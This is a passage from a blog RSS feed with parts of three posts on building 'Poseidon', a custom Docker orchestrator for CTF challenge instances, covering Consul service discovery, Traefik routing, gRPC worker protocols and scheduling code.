            <span class="hljs-string">"traefik.enable=true"</span>,
            <span class="hljs-string">f"traefik.<span class="hljs-subst">{protocol}</span>.routers.<span class="hljs-subst">{service_id}</span>.rule=Host(`<span class="hljs-subst">{route_def.hostname}</span>`)"</span>,
            <span class="hljs-string">f"traefik.<span class="hljs-subst">{protocol}</span>.routers.<span class="hljs-subst">{service_id}</span>.entrypoints=challenge-web"</span>,
            <span class="hljs-string">f"traefik.<span class="hljs-subst">{protocol}</span>.services.<span class="hljs-subst">{service_id}</span>.loadbalancer.server.port=<span class="hljs-subst">{route_def.backend_port}</span>"</span>
        ]

        <span class="hljs-keyword">await</span> self.client.agent.service.register(
            name=<span class="hljs-string">f"instance-svc-<span class="hljs-subst">{route_def.instance_id}</span>"</span>,
            service_id=service_id,
            address=route_def.backend_ip,  <span class="hljs-comment"># Container's internal IP</span>
            port=route_def.backend_port,
            tags=tags
        )
</code></pre>
<p><strong>What’s tagged here:</strong></p>
<ol>
<li><p><strong>Service ID:</strong> Unique identifier for this container instance</p>
</li>
<li><p><strong>Traefik Tags:</strong> Embedding routing rules that Traefik reads from Consul</p>
</li>
<li><p><strong>Address/Ports:</strong> Where the container is actually running ( internal Docker network IP )</p>
</li>
</ol>
<p>When a container terminates, we de-register:</p>
<pre><code class="lang-python"><span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">deregister_route</span>(<span class="hljs-params">self, instance_id: str</span>):</span>
    service_id = <span class="hljs-string">f"instance-<span class="hljs-subst">{instance_id}</span>"</span>
    <span class="hljs-keyword">await</span> self.client.agent.service.deregister(service_id)
</code></pre>
<p>Simple. The Master completes its job of writing to Consul and moves on.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762739605897/aad1df76-4824-488e-a00e-9c8da834274e.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-implementation-traefik-as-consul-catalog-consumer">Implementation: Traefik as Consul Catalog Consumer</h2>
<p>Each Worker runs a Traefik instance configured to watch Consul:</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># traefik.yml on each worker</span>

<span class="hljs-attr">log:</span>
  <span class="hljs-attr">level:</span> <span class="hljs-string">DEBUG</span>

<span class="hljs-attr">api:</span>
  <span class="hljs-attr">insecure:</span> <span class="hljs-literal">true</span> <span class="hljs-comment"># Only for local dev, will be changed in production</span>
  <span class="hljs-attr">dashboard:</span> <span class="hljs-literal">true</span> <span class="hljs-comment"># For debugging, will be disabled in production</span>

<span class="hljs-attr">entryPoints:</span>
  <span class="hljs-attr">traefik:</span>
    <span class="hljs-attr">address:</span> <span class="hljs-string">":8181"</span>  <span class="hljs-comment"># Dashboard</span>

  <span class="hljs-attr">challenge-tcp:</span>
    <span class="hljs-attr">address:</span> <span class="hljs-string">":2222"</span>  <span class="hljs-comment"># For SSH/TCP challenges</span>

  <span class="hljs-attr">challenge-web:</span>
    <span class="hljs-attr">address:</span> <span class="hljs-string">":8080"</span>  <span class="hljs-comment"># For HTTP challenges</span>

<span class="hljs-attr">providers:</span>
  <span class="hljs-attr">consulCatalog:</span>
    <span class="hljs-attr">endpoint:</span>
      <span class="hljs-attr">address:</span> <span class="hljs-string">"127.0.0.1:8500"</span>
      <span class="hljs-attr">scheme:</span> <span class="hljs-string">"http"</span>

    <span class="hljs-comment"># Only services tagged with traefik.enable=true</span>
    <span class="hljs-attr">constraints:</span> <span class="hljs-string">"Tag(`traefik.enable=true`)"</span>

    <span class="hljs-comment"># Don't auto-expose everything in Consul</span>
    <span class="hljs-attr">exposedByDefault:</span> <span class="hljs-literal">false</span>

    <span class="hljs-comment"># Look for tags prefixed with 'traefik'</span>
    <span class="hljs-attr">prefix:</span> <span class="hljs-string">"traefik"</span>
</code></pre>
<p>Traefik polls Consul every few seconds, discovers services with <code>traefik.enable=true</code>, reads their tags, and dynamically generates routing rules.</p>
<p><strong>No config files to update. No restarts required. Pure service discovery.</strong></p>
<h2 id="heading-the-worker-bootstrap-process">The Worker Bootstrap Process</h2>
<p>Each Worker needs to run three processes: Consul agent, Traefik, and the gRPC worker server. We use <code>supervisord</code> to manage them:</p>
<pre><code class="lang-ini"><span class="hljs-section">[supervisord]</span>
<span class="hljs-attr">nodaemon</span>=<span class="hljs-literal">true</span>

<span class="hljs-section">[program:consul]</span>
<span class="hljs-attr">command</span>=consul agent -node-id=%%INSTANCE_ID%% \
  <span class="hljs-attr">-data-dir</span>=/consul/data \
  <span class="hljs-attr">-config-dir</span>=/consul/config \
  <span class="hljs-attr">-retry-join</span>=<span class="hljs-string">"consul"</span> \
  <span class="hljs-attr">-client</span>=<span class="hljs-string">"0.0.0.0"</span> \
  <span class="hljs-attr">-enable-local-script-checks</span>=<span class="hljs-literal">true</span>
<span class="hljs-attr">autostart</span>=<span class="hljs-literal">true</span>
<span class="hljs-attr">autorestart</span>=<span class="hljs-literal">true</span>

<span class="hljs-section">[program:traefik]</span>
<span class="hljs-attr">command</span>=traefik --configfile=/etc/traefik/traefik.yml
<span class="hljs-attr">autostart</span>=<span class="hljs-literal">true</span>
<span class="hljs-attr">autorestart</span>=<span class="hljs-literal">true</span>

<span class="hljs-section">[program:poseidon-worker]</span>
<span class="hljs-attr">command</span>=python -m src.main
<span class="hljs-attr">autostart</span>=<span class="hljs-literal">true</span>
<span class="hljs-attr">autorestart</span>=<span class="hljs-literal">true</span>
</code></pre>
<p>The entrypoint script generates a unique worker ID ( locally for now, will use instance ID when used on AWS ) and starts all three processes:</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/sh</span>
<span class="hljs-built_in">set</span> -e

INSTANCE_ID=$(uuidgen)
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Worker node identified as: <span class="hljs-variable">${INSTANCE_ID}</span>"</span>

<span class="hljs-comment"># Template substitution for configs</span>
sed <span class="hljs-string">"s/%%INSTANCE_ID%%/<span class="hljs-variable">${INSTANCE_ID}</span>/g"</span> \
  /etc/supervisor/conf.d/supervisord.conf.template &gt; /tmp/supervisord.conf

sed <span class="hljs-string">"s/%%INSTANCE_ID%%/<span class="hljs-variable">${INSTANCE_ID}</span>/g"</span> \
  /consul/config/worker-service.json.template &gt; /consul/config/worker-service.json

<span class="hljs-built_in">exec</span> /usr/bin/supervisord -c /tmp/supervisord.conf
</code></pre>
<p>Each Worker joins the Consul cluster, registers health check, and starts accepting gRPC requests from the Master.</p>
<h2 id="heading-what-broke-the-traefik-tag-nightmare">What Broke: The Traefik Tag Nightmare</h2>
<p>This all sounds clean in retrospect. In practice, getting Traefik to generate routes correctly took hours.</p>
<p><strong>The Problem:</strong> Traefik was auto-generating routing rules based on the service name (<code>instance-svc-{uuid}</code>), not the hostname we wanted. Users would hit <a target="_blank" href="http://a3f4b92c8d.orcactf.app"><code>a3f4b92c8d.orcactf.app</code></a>, and Traefik would return 404 because it had created a route for <a target="_blank" href="http://instance-svc-3f053024-2418-4b4c-97d1-0590c5d9f480.orcactf.app"><code>instance-svc-3f053024-2418-4b4c-97d1-0590c5d9f480.orcactf.app</code></a>.</p>
<p><strong>The Root Cause:</strong> Traefik’s Consul provider has “smart” defaults which infer routing rules from service metadata. It was <em>too smart</em>, overriding our tags with it’s own generated rules.</p>
<p><strong>The Fix:</strong> Two critical config changes:</p>
<ol>
<li><p>Set <code>exposedByDefault: false</code> in <code>traefik.yml</code></p>
<ul>
<li><p>Forces Traefik to only process services explicitly tagged with <code>traefik.enable=true</code></p>
</li>
<li><p>Disables auto-route generation</p>
</li>
</ul>
</li>
<li><p><strong>Use explicit router rules in tags:</strong></p>
<pre><code class="lang-python"> <span class="hljs-string">f"traefik.<span class="hljs-subst">{protocol}</span>.routers.<span class="hljs-subst">{service_id}</span>.rule=Host(`<span class="hljs-subst">{route_def.hostname}</span>`)"</span>
</code></pre>
<ul>
<li><p>Overrides Traefik’s default rule generation</p>
</li>
<li><p>Ensures we control the hostname matching logic</p>
</li>
</ul>
</li>
</ol>
<p>After these changes, routes worked perfectly. But this took reading through <a target="_blank" href="https://doc.traefik.io/traefik/reference/install-configuration/providers/hashicorp/consul-catalog/">Traefik’s Consul provider documentation</a> quite a few times to understand the rules.</p>
<p><strong>Lesson learned:</strong> When integrating tools that "just work," the hard part is understanding what they do automatically and how to override it when needed.</p>
<h2 id="heading-whats-still-missing">What’s Still Missing</h2>
<p>This works locally. AWS deployment will add complexity:</p>
<ol>
<li><p><strong>Network Load Balancer:</strong></p>
<p> Currently testing with direct Traefik access. In production, a NLB will front all workers, and the flow becomes</p>
<pre><code class="lang-plaintext"> DNS → Route53 → NLB → Worker Traefik → Container
</code></pre>
</li>
<li><p><strong>Multi-node Consul Cluster</strong></p>
<p> Right now, we have a single Consul server. If we ever scale this, we’ll need a 3-node cluster for HA (high availability). If Consul dies, routing goes down.</p>
</li>
<li><p><strong>VPC Networking:</strong></p>
<p> Workers need appropriate security group rules allowing inbound traffic from the NLB, inbound access from other workers and outbound to other workers</p>
</li>
<li><p><strong>TLS/HTTPS:</strong></p>
<p> Currently running on HTTP only, we need to implement Traefik’s TLS termination and Let’s Encrypt/AWS Certificate Manager</p>
</li>
<li><p><strong>The Reaper Proces:</strong></p>
<p> Containers have TTLs. We need a background process that:</p>
<ul>
<li><p>Polls Redis for expired instances</p>
</li>
<li><p>Call <code>deprovision_instance()</code> for each of them</p>
</li>
<li><p>Handle orphaned containers ( if Master crashes before cleanup )</p>
</li>
</ul>
</li>
</ol>
<p>This is infrastructure work, not architecture work. The hard part of designing and implementing the system is done.</p>
<h2 id="heading-failure-mode-analysis">Failure Mode Analysis</h2>
<p>Let's validate that we actually improved resilience:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Failure</strong></td><td><strong>Old Architecture</strong></td><td><strong>New Architecture</strong></td></tr>
</thead>
<tbody>
<tr>
<td>Master Crashes</td><td>Routing dies, users disconnected</td><td>Routing unaffected, orchestration paused</td></tr>
<tr>
<td>Worker Crashes</td><td>Only it’s containers die</td><td>Only it’s containers die, NLB removes from pool</td></tr>
<tr>
<td>Traefik crashes (single)</td><td>All routing dies</td><td>Other Traefik’s compensate</td></tr>
<tr>
<td>Consul crashes (single node)</td><td>N/A</td><td>Routing breaks (needs multi-node cluster)</td></tr>
</tbody>
</table>
</div><p><strong>Net improvement:</strong> I eliminated the "Master down = routing down" failure mode, which was the biggest architectural risk.</p>
<h2 id="heading-horizontal-scaling-the-math">Horizontal Scaling: The Math</h2>
<p><strong>Old architecture:</strong></p>
<ul>
<li><p>1 Master with Traefik = fixed routing capacity</p>
</li>
<li><p>Add workers = more compute, same routing bottleneck</p>
</li>
</ul>
<p><strong>New architecture:</strong></p>
<ul>
<li><p>N workers = N Traefik instances = N × routing capacity</p>
</li>
<li><p>Add worker = more compute AND more routing capacity</p>
</li>
</ul>
<p><strong>Example:</strong> If each Traefik can handle 1000 req/sec:</p>
<ul>
<li><p>1 centralized Traefik = 1000 req/sec max</p>
</li>
<li><p>5 workers with Traefik = 5000 req/sec max (behind NLB)</p>
</li>
</ul>
<p>This scales routing capacity horizontally, not just compute capacity.</p>
<h2 id="heading-lessons-learned">Lessons Learned</h2>
<h3 id="heading-1-controldata-plane-separation-is-real">1. Control/Data Plane Separation is Real</h3>
<p>This isn't just theory from distributed systems textbooks. The moment you separate "who decides" from "who executes," resilience improves dramatically.</p>
<h3 id="heading-2-service-mesh-reduces-coupling">2. Service Mesh Reduces Coupling</h3>
<p>Master doesn't know about Traefik. Workers don't know about routing logic. Consul is the only shared dependency. This means:</p>
<ul>
<li><p>We could swap Traefik for Nginx without touching the Master</p>
</li>
<li><p>We could change scheduling logic without touching Traefik</p>
</li>
<li><p>Each component has a single, clear responsibility</p>
</li>
</ul>
<h3 id="heading-3-tool-documentation-matters-more-than-you-think">3. Tool Documentation Matters More Than You Think</h3>
<p>The Traefik tag issue cost hours because I assumed defaults would work. Reading the Consul provider docs thoroughly upfront would have saved time.</p>
<h3 id="heading-4-test-failure-modes-early">4. Test Failure Modes Early</h3>
<p>Spinning up multiple workers locally and killing processes randomly validated the architecture way before AWS deployment. If it doesn't work with 2 local workers, it won't work with 10 EC2 instances.</p>
<p>The system works. Now we need to make it production-ready.</p>
<hr />
<p><em>Follow along as I continue building Poseidon. The code will be open sourced one we’re deployed and test on AWS infrastructure.</em></p>
<p><strong>Previous Posts:</strong> <a target="_blank" href="https://hashnode.com/post/cmh8p84e9001902jr0l2id7iu">Part 1</a> | <a target="_blank" href="https://hashnode.com/post/cmhipb89k000802jl1yz0bhf5">Part 2</a></p>
]]></content:encoded></item><item><title><![CDATA[Building Poseidon #2: The Master-Worker Dance]]></title><description><![CDATA[In Part 1 of Building Poseidon, we established why we’re building Poseidon instead of using existing solutions like Kubernetes or AWS Fargate. We need instance-specific routing, fine-grained lifecycle control, and cost-effective operation within the ...]]></description><link>https://blog.realrudrap.dev/building-poseidon-2-the-master-worker-dance</link><guid isPermaLink="true">https://blog.realrudrap.dev/building-poseidon-2-the-master-worker-dance</guid><category><![CDATA[Docker]]></category><category><![CDATA[Cloud Computing]]></category><category><![CDATA[CTF]]></category><category><![CDATA[gRPC]]></category><category><![CDATA[System Design]]></category><category><![CDATA[Devops]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Mon, 03 Nov 2025 05:30:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1761898397042/2b3746d5-0db8-4cac-aa6d-6c276e12fae7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In <a target="_blank" href="https://stackunwind.hashnode.dev/building-poseidon-1-why-were-not-using-kubernetes">Part 1 of Building Poseidon</a>, we established why we’re building Poseidon instead of using existing solutions like Kubernetes or AWS Fargate. We need instance-specific routing, fine-grained lifecycle control, and cost-effective operation within the AWS free tier.</p>
<p>Now comes the challenging part: Actually building it.</p>
<blockquote>
<p>Talk is cheap, show me the code - Linus Torvalds</p>
</blockquote>
<p>This post dives into the master-worker communication protocol, the orchestration logic that schedules containers across workers, and the real-world problems we hit along the way. Everything described here is running on my local machine right now, AWS deployment comes later.</p>
<h2 id="heading-the-architecture-a-quick-recap">The Architecture: A Quick Recap</h2>
<p>Poseidon follows a two-process model:</p>
<ul>
<li><p><strong>Master Process:</strong> Exposes a REST API to OrcaCTF’s backend, maintains global state in Redis, orchestrates container lifecycles across workers.</p>
</li>
<li><p><strong>Worker Process:</strong> Run on compute nodes, interface with Docker daemon, spin up containers and report status back to the master.</p>
</li>
</ul>
<p>The Master in itself doesn’t know ( or care ) about what kind of images it’s running. It’s a dumb executor that receives requests like:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"user_id"</span>: <span class="hljs-string">"litmus"</span>,
  <span class="hljs-attr">"challenge_id"</span>: <span class="hljs-string">"localhost:5000/orca-challenges/our-first-challenge:latest"</span>,
  <span class="hljs-attr">"mem_limit"</span>: <span class="hljs-number">256</span>,
  <span class="hljs-attr">"nano_cpus"</span>: <span class="hljs-number">5000000</span>,
  <span class="hljs-attr">"protocol"</span>: <span class="hljs-string">"http"</span>
}
</code></pre>
<p>It returns a unique hostname when the users requested container is accessible.</p>
<h3 id="heading-the-communication-protocol-rest-for-clients-grpc-for-workers">The Communication Protocol: REST for Clients, gRPC for Workers</h3>
<p>Early on, I had to decide: how should the master and worker talk to each other?</p>
<h4 id="heading-the-decision-hybrid-approach">The Decision: Hybrid Approach:</h4>
<p><strong>Master &lt;→ Frontend/Backend:</strong> REST API</p>
<ul>
<li><p>OrcaCTF’s backend makes simple HTTP requests to start/stop containers</p>
</li>
<li><p>Easy to debug with cURL, integrates with existing FastAPI infrastructure</p>
</li>
<li><p>No need for client ( OrcaCTF backend ) side gRPC dependencies</p>
</li>
</ul>
<p><strong>Master ←&gt; Workers:</strong> gRPC</p>
<ul>
<li><p>Workers are internal infrastructure, not exposed to users</p>
</li>
<li><p>Need high performance, low latency communication for container operations</p>
</li>
<li><p>Strong typing via Protocol Buffers. Catches integration bugs early</p>
</li>
<li><p>Bi-directional streaming support which can be used for real-time logs and metrics</p>
</li>
</ul>
<p>This isn’t an either-or decision. REST is great for public APIs whilst gRPC is better for internal service-to-service communication where performance and type-safety matters.</p>
<h3 id="heading-the-grpc-protocol-definition">The gRPC Protocol Definition</h3>
<p>Here’s our <code>.proto</code> defining the worker service:</p>
<pre><code class="lang-json">syntax = <span class="hljs-string">"proto3"</span>;
package poseidon.worker;

service WorkerService {
    rpc SpawnContainer(SpawnRequest) returns (SpawnResponse);
    rpc TerminateContainer(TerminateRequest) returns (TerminateResponse);
    rpc GetWorkerStatus(WorkerStatusRequest) returns (WorkerStatusResponse);
}

message SpawnRequest {
    string request_id = 1;
    string image_name = 2;
    int32 start_timeout_seconds = 3;
    int32 mem_limit = 4;
    int32 nano_cpus = 5;
}

message SpawnResponse {
    string container_id = 1;
    string internal_ip = 2;
    int32 internal_port = 3;
    bool success = 4;
    string error_message = 5;
}

message TerminateRequest {
    string container_id = 1;
}

message TerminateResponse {
    bool success = 1;
    string error_message = 2;
}

message WorkerStatusRequest {}

message WorkerStatusResponse {
    string node_id = 1;
    float cpu_usage_percent = 2;
    float memory_percent = 3;
    int32 container_count = 4;
}
</code></pre>
<h3 id="heading-key-design-decisions">Key design decisions:</h3>
<ul>
<li><p><code>SpawnResponse</code> returns the internal IP and port. The master needs to know where to route traffic. Containers run on a shared Docker network, so we use internal IPs, not published ports.</p>
</li>
<li><p><code>success</code>+<code>error_message</code> patterns. Workers can fail for many reasons ( image pull failure, resource exhaustion, Docker daemon issues ). Explicit success flags make error handling cleaner than relying on gRPC status codes alone.</p>
</li>
<li><p><code>GetWorkerStatus</code> for load balancing: Workers periodically report CPU, memory and container count. The master uses this for intelligent scheduling.</p>
</li>
</ul>
<h2 id="heading-worker-discovery-why-consul">Worker Discovery: Why Consul?</h2>
<p>One of the first problems, how does the master know which workers exist and whether they’re healthy?</p>
<p>We could maintain a worker registry in Redis, but that introduces a new failure mode: what if a worker crashes without deregistering itself? The master would keep sending requests to a dead worker.</p>
<p><strong>Enter Consul</strong></p>
<p><a target="_blank" href="https://developer.hashicorp.com/consul">Consul</a> is a service mesh solution that handles service discovery and health-checking. Workers register themselves with Consul on startup, and Consul continuously health-checks them via gRPC’s health protocol.</p>
<h4 id="heading-why-consul-over-manual-health-checks">Why Consul over Manual Health Checks?</h4>
<p><strong>Separation of Concerns:</strong> The master doesn’t have to implement heartbeat logic. Consul does that out of the box.</p>
<p><strong>Graceful draining:</strong> When we deploy to AWS, the worker instances will be behind a Load Balancer, which may decide to de-provision a worker if the load isn’t high. Workers can then set a “draining” status in their health check responses, so Consul can inform the master to not schedule any new instances on the node while the existing containers complete their tenure and request for extensions are denied.</p>
<p><strong>Proven reliability:</strong> Consul is battle-tested infrastructure. We’re not re-inventing service discovery.</p>
<p>The Master queries Consul for healthy workers and gets back a list of <code>(node_id, address)</code> pairs. Simple.</p>
<h2 id="heading-the-orchestration-flow-from-request-to-running-container">The Orchestration Flow: From Request to Running Container</h2>
<p>Let’s walk through what happens when a user clicks “Start Challenge”</p>
<h4 id="heading-phase-1-worker-selection-scheduling">Phase 1: Worker Selection ( Scheduling )</h4>
<p>The Orchestrator asks the Scheduler for the best available Worker:</p>
<pre><code class="lang-python">selected_worker = <span class="hljs-keyword">await</span> self.scheduler.get_best_worker()
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> selected_worker:
    <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">"No available workers to handle request"</span>)
</code></pre>
<p>The scheduler implements a weighted score system:</p>
<pre><code class="lang-python">cpu_weight = <span class="hljs-number">0.5</span>
mem_weight = <span class="hljs-number">0.3</span>
container_weight = <span class="hljs-number">0.2</span>

score = (cpu * cpu_weight) + (mem * mem_weight) + (container_count * container_weight)
</code></pre>
<p>Workers with lower scores ( less loaded ) are preferred. This is a simple heuristic, not a sophisticated bin-packing algorithm, but it works at our expected scale.</p>
<p>The Scheduler polls all workers every 15 seconds via <code>GetWorkerStatus</code>, caching their metrics in Redis. When a container request arrives, it picks the worker with the lowest score from the cached data.</p>
<p><strong>Trade-off:</strong> There’s a 15 second window where Worker stats might be stale. A worker could become overloaded between polls, and the scheduler wouldn’t know. For our use case (15-20 concurrent users) this should do the trick. When we scale and need real-time accuracy, we could poll more frequently, or use event-driven updates.</p>
<h4 id="heading-phase-2-container-spawn">Phase 2: Container Spawn</h4>
<p>Once a worker is selected, the Orchestrator sends a gRPC <code>SpawnContainer</code> request:</p>
<pre><code class="lang-python">running_container = <span class="hljs-keyword">await</span> self.worker_client.spawn_container(
    selected_worker,
    challenge_id,
    instance_id,
    mem_limit,
    nano_cpus
)
</code></pre>
<p>On the Worker side, this triggers <code>DockerManager</code>:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run_container</span>(<span class="hljs-params">self, image_name: str, instance_id: str, 
                  mem_limit: int | None, nano_cpus: int | None</span>) -&gt; Container:</span>
    memory_limit_str = <span class="hljs-string">f"<span class="hljs-subst">{mem_limit}</span>m"</span> <span class="hljs-keyword">if</span> mem_limit <span class="hljs-keyword">else</span> <span class="hljs-string">"256m"</span>

    <span class="hljs-keyword">try</span>:
        container = self.client.containers.run(
            image=image_name,
            detach=<span class="hljs-literal">True</span>,
            auto_remove=<span class="hljs-literal">True</span>,
            labels={<span class="hljs-string">"poseidon.instance_id"</span>: instance_id},
            network=self.network_name,
            mem_limit=memory_limit_str,
            nano_cpus=nano_cpus
        )
        <span class="hljs-keyword">return</span> container
    <span class="hljs-keyword">except</span> ImageNotFound:
        logger.warning(<span class="hljs-string">f"Image '<span class="hljs-subst">{image_name}</span>' not found locally. Pulling..."</span>)
        self.client.images.pull(image_name)
        <span class="hljs-keyword">return</span> self.run_container(image_name, instance_id, mem_limit, nano_cpus)
</code></pre>
<p><strong>Key Details:</strong></p>
<ul>
<li><p><code>auto_remove: True</code>: Containers are ephemeral; When they stop, Docker automatically cleans them up</p>
</li>
<li><p><code>labels={"poseidon.instance_id": instance_id}</code> : Labels enable visibility. Having descriptive labels like this helps in pinpointing the sources of any issues. Traefik ( our reverse-proxy ) can also be configured to route traffic depending on these labels</p>
</li>
<li><p><strong>Automatic image pulling:</strong> If the challenge image isn’t cached locally, the worker pulls it. This adds latency on the first request, but simplifies deployment.</p>
</li>
</ul>
<h3 id="heading-phase-3-network-discovery">Phase 3: Network Discovery</h3>
<p>After the container starts, the worker needs to determine it’s internal IP and report it along with the port it is serving the container on. This is trickier than it sounds.</p>
<p>Containers run on a shared Docker network. We don’t use published ports because that would require dynamic port allocation and port conflict handling. Instead, containers expose their services on an internal port ( like 8080 for HTTP challenges ), and Traefik routes traffic based on the hostname.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_container_details</span>(<span class="hljs-params">self, container_id: str</span>) -&gt; dict | <span class="hljs-keyword">None</span>:</span>
    container = self.client.containers.get(container_id)
    container.reload()

    <span class="hljs-comment"># Get IP from the shared network</span>
    network_settings = container.attrs[<span class="hljs-string">'NetworkSettings'</span>][<span class="hljs-string">'Networks'</span>][self.network_name]
    ip_address = network_settings[<span class="hljs-string">'IPAddress'</span>]

    <span class="hljs-comment"># Get the internal port from the image's EXPOSE directive</span>
    exposed_ports = container.attrs[<span class="hljs-string">'Config'</span>][<span class="hljs-string">'ExposedPorts'</span>]
    internal_port_str = list(exposed_ports.keys())[<span class="hljs-number">0</span>]  <span class="hljs-comment"># e.g., "80/tcp"</span>
    internal_port = int(internal_port_str.split(<span class="hljs-string">'/'</span>)[<span class="hljs-number">0</span>])

    <span class="hljs-keyword">return</span> {
        <span class="hljs-string">"id"</span>: container.id,
        <span class="hljs-string">"ip_address"</span>: ip_address,
        <span class="hljs-string">"internal_port"</span>: internal_port,
    }
</code></pre>
<p>This relies on challenge images correctly declaring their exposed ports via <code>EXPOSE</code> in the Dockerfile. If the challenge doesn’t expose a port, this logic fails. This is intentional as it helps catch misconfigurations early.</p>
<h3 id="heading-phase-4-state-management-and-routing">Phase 4: State Management and Routing</h3>
<p>Once the container is running, the Orchestrator:</p>
<ul>
<li><p><strong>Generates a unique hostname:</strong> <code>sha256(instance_id)[:12].&lt;ctf_platform_domain&gt;</code></p>
</li>
<li><p><strong>Saves the instance metadata to Redis</strong></p>
<pre><code class="lang-python">  instance = Instance(
         instance_id=instance_id,
         user_id=user_id,
         challenge_id=challenge_id,
         worker=selected_worker,
         hostname=<span class="hljs-string">f"<span class="hljs-subst">{external_hostname}</span>.local"</span>,
         container_id=running_container.container_id,
         internal_ip=running_container.internal_ip,
         internal_port=running_container.internal_port,
         created_at=now_ts,
         expires_at=now_ts + cfg.default_ttl_seconds
     )
     <span class="hljs-keyword">await</span> self.state_manager.save_instance(instance)
</code></pre>
</li>
<li><p><strong>Creates a routing rule in Traefik</strong></p>
<pre><code class="lang-python">      route_definition = RouteDefinition(
             instance_id=instance.instance_id,
             protocol=protocol,
             hostname=instance.hostname,
             backend_ip=running_container.internal_ip,
             backend_port=running_container.internal_port,
         )
         self.proxy_manager.create_route(route_definition)
</code></pre>
</li>
</ul>
<p>Traefik now knows: “traffic to <code>a3f4b92c8d.local</code> should go to <code>172.18.0.5:80</code>.</p>
<p>The user receives their unique URL, and can connect immediately.</p>
<h3 id="heading-what-broke-and-how-we-fixed-it">What broke ( and how we fixed it )</h3>
<h4 id="heading-problem-1-silent-deployment-failures">Problem 1: Silent Deployment Failures</h4>
<p>Early on, containers were failing to start, but the Orchestrator was reporting success. The issue? We weren’t checking the gRPC response properly</p>
<pre><code class="lang-python"><span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> running_container.success:
    <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">f"Failed to spawn container: <span class="hljs-subst">{running_container.error_message}</span>"</span>)
</code></pre>
<p>Now, if the worker reports <code>success=False</code>, the Orchestrator propagates the error up to the User. Simple, but easy to miss.</p>
<h4 id="heading-problem-2-docker-networking-hell">Problem 2: Docker Networking Hell</h4>
<p>Getting Traefik to reliably discover containers on the shared Docker network took far longer than expected. Containers were starting, but Traefik couldn’t route to them.</p>
<p>The issue was that Traefik was looking on the wrong network. We had to explicitly configure</p>
<pre><code class="lang-python">network=self.network_name  <span class="hljs-comment"># Must match Traefik's configured network</span>
<span class="hljs-comment"># An environment variable stored the value of self.network_name and initialized when the Orchestrator spawned</span>
</code></pre>
<p>And ensure that Traefik was itself running on the same Docker network. Obvious in hindsight, nothing short of painful in practice.</p>
<h4 id="heading-problem-3-cpu-limits-dont-work-in-docker-in-docker">Problem 3: CPU Limits don’t work in Docker-in-Docker</h4>
<p>We’re running workers as Docker containers themselves ( for local testing ), but Docker-in-Docker doesn’t support <code>nano_cpus</code> limits properly. The inner containers inherit the outer containers limits, not their own.</p>
<p>For now, we’ve accepted this limitation. On AWS EC2 instances ( where Docker runs natively ), CPU limits will work as intended. But it’s a reminder that abstractions leak, and testing in production-like environments matter.</p>
<h3 id="heading-whats-next">What’s next</h3>
<p>This post covered the orchestration core: worker discovery, container spawning, and state management. But we're not done. We will explore the containment and resilience: isolation, resource control and ensuring the system can shut down gracefully without abandoning active users.</p>
<hr />
<p><em>Follow along as we continue building Poseidon. The code will be open-sourced soon after we test a deployed PoC.</em></p>
]]></content:encoded></item><item><title><![CDATA[Building Poseidon #1: Why we're not using Kubernetes]]></title><description><![CDATA[💡
TL;DR: Built Poseidon, a custom container orchestrator for CTF challenges. Evaluated Lambda (runtime limits), Fargate (no per-container routing), and Kubernetes (complexity overkill). Went with a master-worker architecture using Docker SDK, Redis,...]]></description><link>https://blog.realrudrap.dev/building-poseidon-1-why-were-not-using-kubernetes</link><guid isPermaLink="true">https://blog.realrudrap.dev/building-poseidon-1-why-were-not-using-kubernetes</guid><category><![CDATA[Docker]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Mon, 27 Oct 2025 05:30:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1761534248036/031e20d9-3794-426f-8991-3ed7fa58bac8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>TL;DR:</strong> Built Poseidon, a custom container orchestrator for CTF challenges. Evaluated Lambda (runtime limits), Fargate (no per-container routing), and Kubernetes (complexity overkill). Went with a master-worker architecture using Docker SDK, Redis, and subdomain-based routing. Targets 15-20 concurrent users on AWS free tier. Open-sourcing soon.</div>
</div>

<h2 id="heading-the-problem-ctf-challenges-need-dynamic-infrastructure">The Problem: CTF Challenges Need Dynamic Infrastructure</h2>
<p>Capture The Flag (CTF) competitions have evolved significantly. Modern challenges often require isolated, interactive environments where participants can exploit vulnerabilities, reverse engineer binaries, or manipulate web applications in real time. These aren’t static challenges; they are live systems that need to be spun up on demand, accessible over the internet and then torn down after use.</p>
<p>For my Cloud Computing course project, my team is building <a target="_blank" href="http://orcactf.app"><strong>OrcaCTF</strong></a>. The vision was simple, students click a “Start Challenge” button, and within seconds they get a dedicated Docker container with a unique URL to connect to. The challenge runs for a set duration ( with extensions possible based on server load ), and then automatically cleans itself up.</p>
<p>Targeting 15-20 concurrent users initially, and an architecture that could scale far beyond that, we needed fine-grained control over container life-cycle, resource limits and networking. And we needed to do all of it on AWS free tier.</p>
<p>The question became, <strong>what’s the best way to orchestrate ephemeral Docker containers in the cloud?</strong></p>
<h2 id="heading-evaluating-the-serverless-landscape">Evaluating the Serverless Landscape</h2>
<p>My first instinct was to leverage serverless services. After all, for a Cloud Computing course, surely AWS or Azure would have pre-built solutions for this exact use case, right?</p>
<h3 id="heading-aws-lambda-api-gateway">AWS Lambda + API Gateway</h3>
